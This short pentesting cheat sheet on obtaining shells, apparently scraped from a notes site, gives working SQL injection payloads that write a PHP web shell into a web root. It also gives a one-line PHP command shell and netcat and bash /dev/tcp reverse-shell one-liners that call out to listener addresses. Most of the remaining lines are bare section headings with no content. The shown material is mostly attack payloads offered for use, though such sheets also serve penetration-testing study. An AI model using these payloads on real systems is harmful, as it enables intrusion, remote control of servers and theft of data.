Shells Linux
Shell From SQL Injection
# windows
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
# linux
?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE '/var/www/html/cmd.php'Reverse Shell
<?php system($_GET['cmd']);?>NC
nc 192.168.49.234 80 –e /bin/bashBash TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
/bin/bash -i >& /dev/tcp/192.168.49.234/80 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196Bash UDP
Socat
Perl
Python
PHP
Ruby
Golang
Netcat Traditional
Netcat OpenBsd
Ncat
OpenSSL
Powershell
Awk
Java
War
Lua
NodeJS
Groovy
C
Meterpreter Shell
Windows Staged reverse TCP
Windows Stageless reverse TCP
Linux Staged reverse TCP
Linux Stageless reverse TCP
Other platforms
Spawn TTY Shell
Fully interactive reverse shell on Windows
References
Last updated